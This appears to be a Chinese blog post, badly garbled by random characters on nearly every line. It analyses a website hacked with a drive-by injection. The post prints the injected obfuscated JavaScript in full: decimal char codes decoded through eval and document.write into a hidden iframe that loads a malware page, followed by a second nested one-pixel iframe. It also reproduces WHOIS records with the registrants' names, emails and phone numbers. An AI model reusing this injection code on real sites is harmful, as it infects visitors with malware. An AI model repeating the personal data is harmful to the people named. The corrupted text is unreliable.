首发在我的博客里面，
~uw eBp~O Q_FL8w9D~8 http://www.areway.cn/?p=175 .!Q?TSQ+{! '9 Xw_1B 4 moVS1 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
c\N-B,m& |&\cr\T\r <script>t=’60,105,102,114,97,109,101,
!kWx'tJ$ 32,115,114,99,61,104,116,116,112,58,47,47,
J85Kgd1
\a 102,114,101,101,46,117,45,117,117,117,46,99,
H
Jj W 110,47,101,114,114,111,114,46,104,116,109,
z1~FE 32,119,105,100,116,104,61,49,48,48,32,104,
ka [%p, H 101,105,103,104,116,61,48,62,60,47,105,102,
m95;NT1N/g 114,97,109,101,62′;
d>jRw t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
~w}Zv0 AGgL`sP <script>t=’60,105,102,114,97,109,101,32,115,
'-Kr neZ! 114,99,61,104,116,116,112,58,47,47,102,114,
G F O(O 101,101,46,117,45,117,117,117,46,99,110,47,
d;LBV<Z? 101,114,114,111,114,46,104,116,109,32,119,
4e9'yi 105,100,116,104,61,49,48,48,32,104,101,105,
Avo"jN*<d 103,104,116,61,48,62,60,47,105,102,114,97,
~e R6 [; 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
uf}Q{@Ab document.write(t);</script>
.="[In ' ~0ZLaiJ <html xmlns=”
XjV,wsZ= http://www.w3.org/1999/xhtml ]x`I@vSf7R “>
Zmr*$,v<y <head>
e!|T Tap <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
t 4tXLI;' <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
'3V?M;3|K <title>首页 - 爱生活家庭网
+}@6V4BRn r d4\N2- 6 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
eXsFPM 转换字符串后的大概内容是（谁点击后果自付）：
OA\
*)c+F <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Q7@
m.w%` f/K:~#k 查询玉米u-uuu.cn的详细信息：
Tq=OYJq5U Domain Name: u-uuu.cn
B:QAG ROID: 20070901s10001s64972306-cn
R'{BkC}. Domain Status: ok
X4}Lg2ts Registrant Organization: 王雷
)a'c_ 2 [ Registrant Name: 王雷
K h;jiK ! Administrative Email:
czlovexs@126.com 9t^Q_ [hG Sponsoring Registrar: 北京万网志成科技有限公司
no lLeRE1 Name Server:ns.yovole.com
< &~KYu\r Name Server:ns1.yovole.com
*Mr? }_,X* Registration Date: 2007-09-01 17:54
pX/,s#dY> Expiration Date: 2008-09-01 17:54
l~9P 4
, 最后PING了一下地址 都没有什么….
Ib665H7w v3{[rK} 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
KZ}F1Mr <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
K,\Bj/V( <script language=”javascript” src=”
-H;p +XAY http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ;wkoQ8FD9 >
/\&Wk;u3 这个玉米应该有可能是木马作者的：
yhi 6RDS foafau.info的详细信息：
A(>kp=~ Access to INFO WHOIS information is provided to assist persons in
56R)631]p determining the contents of a domain name registration record in the
zHsWj^m" Afilias registry database. The data in this record is provided by
G[=8Ko0U+n Afilias Limited for informational purposes only, and Afilias does not
gAWrn^2L5 guarantee its accuracy. This service is intended only for query-based
;+/[<bv d" access. You agree that you will use this data only for lawful purposes
E5}wR(i,4 and that, under no circumstances will you use this data to: (a) allow,
:Sj r enable, or otherwise support the transmission by e-mail, telephone, or
KoPhPH facsimile of mass unsolicited, commercial advertising or solicitations
q:D!@+U to entities other than the data recipient’s own existing customers; or
)FfJ%oT} (b) enable high volume, automated, electronic processes that send
H _%yh,L queries or data to the systems of Registry Operator, a Registrar, or
eVYUJ, Afilias except as reasonably necessary to register domain names or
x>yeF,q1 modify existing registrations. All rights reserved. Afilias reserves
}4n?k'_s? the right to modify these terms at any time. By submitting this query,
N<54_(|X you agree to abide by this policy.
}m6j6uAR6) Domain ID:D22418703-LRMS
ja2PmPv Domain Name:FOAFAU.INFO
8v)PDO~D}A Created On:20-Nov-2007 16:05:42 UTC
K(M@#t1_& Last Updated On:20-Nov-2007 16:05:44 UTC
&E>zvRBQ Expiration Date:20-Nov-2008 16:05:42 UTC
] EzX$T Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
3)J0f+M>dv Status:CLIENT DELETE PROHIBITED
H' [#x2 Status:CLIENT RENEW PROHIBITED
>
CPJp!u Status:CLIENT TRANSFER PROHIBITED
z!={d1u#T Status:CLIENT UPDATE PROHIBITED
G'>z~I]6S Status:TRANSFER PROHIBITED
/{~cUB,Um Registrant ID:GODA-040110615
|H)WJ/` Registrant Name:liu hong
P|S'MS';: Registrant Organization:
!1H\*VM " Registrant Street1:beijing
fJ?$Z| Registrant Street2:
&x(^=sTHI Registrant Street3:
GoGo@5n(Z Registrant City:beijing
/Nh:O Registrant State/Province:
\gE3wmSJ, Registrant Postal Code:100000
T&2aNku G Registrant Country:CN
(]yOd/ru/C Registrant Phone:+86.860108888777
Ij_VO{]G'l Registrant Phone Ext.:
?'_Q^O> Registrant FAX:
OudD1( )W Registrant FAX Ext.:
#<7ajmr Registrant Email:bbbshiji@163.com
Z81{v<c; Admin ID:GODA-240110615
ZR3x;$I~4 Admin Name:liu hong
S;"7d Admin Organization:
3eV(2 Admin Street1:beijing
K%: : Admin Street2:
`3$S^|v Admin Street3:
=%:mZ@x' Admin City:beijing
Q-[^!RAK? Admin State/Province:
HHbkR2H1 Admin Postal Code:100000
"/).:9],} Admin Country:CN
; b2)WM: Admin Phone:+86.860108888777
8u::f`vi Admin Phone Ext.:
^ftZ{uA Admin FAX:
6N4/p=lE Admin FAX Ext.:
b|c?xHF}K Admin Email:bbbshiji@163.com
`j59MSuK Billing ID:GODA-340110615
7CGKm8T Billing Name:liu hong
EiY i <Z_S Billing Organization:
ba?]eK Billing Street1:beijing
13]sZ([B%| Billing Street2:
vXnTPjbE Billing Street3:
;X u&['
Billing City:beijing
<!\J([NM8 Billing State/Province:
,/\%-u?
1x Billing Postal Code:100000
|5}{4k~9J Billing Country:CN
:8;8-c Billing Phone:+86.860108888777
a#=GL B_P( Billing Phone Ext.:
f 8E
S
GU Billing FAX:
u OEFb Billing FAX Ext.:
;APpgt4 Billing Email:bbbshiji@163.com
46'EZ@#s Tech ID:GODA-140110615
Ed|7E_v Tech Name:liu hong
'M\ou}P Tech Organization:
xA nAW Tech Street1:beijing
Llf>C,) Tech Street2:
g e aeOERc Tech Street3:
snTj!rV/_ Tech City:beijing
'3wte9E/ Tech State/Province:
v=:RxjEx Tech Postal Code:100000
R
Nr=M^Zn Tech Country:CN
,vQkv u z Tech Phone:+86.860108888777
ZYBNS~Q Tech Phone Ext.:
1$fA9u$ Tech FAX:
S 8" h9| Tech FAX Ext.:
EX8:B.z`57 Tech Email:bbbshiji@163.com
ushQWP) Name Server:NS27.DOMAINCONTROL.COM
t=~5 I > Name Server:NS28.DOMAINCONTROL.COM
nTj Q4y Name Server:
.1MXQLy Name Server:
|pr~Oh z Name Server:
0[0</"K%1m Name Server:
^HKxaW9W Name Server:
`3r *Ae Name Server:
p&b Q_ XOH Name Server:
{S\cpCI` Name Server:
C+}uH:I'L Name Server:
J3Q.6e=7 Name Server:
SSi}1 Name Server:
(@`+Le *#EyfMz-B 接着下载每个文件里面的代码：
!.iA^D//] 一步一步看..
* Yov>lO 
>k ^=+ 
|mrAvm}
lp?geav 
2o/}GIKj 
<acAc2 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
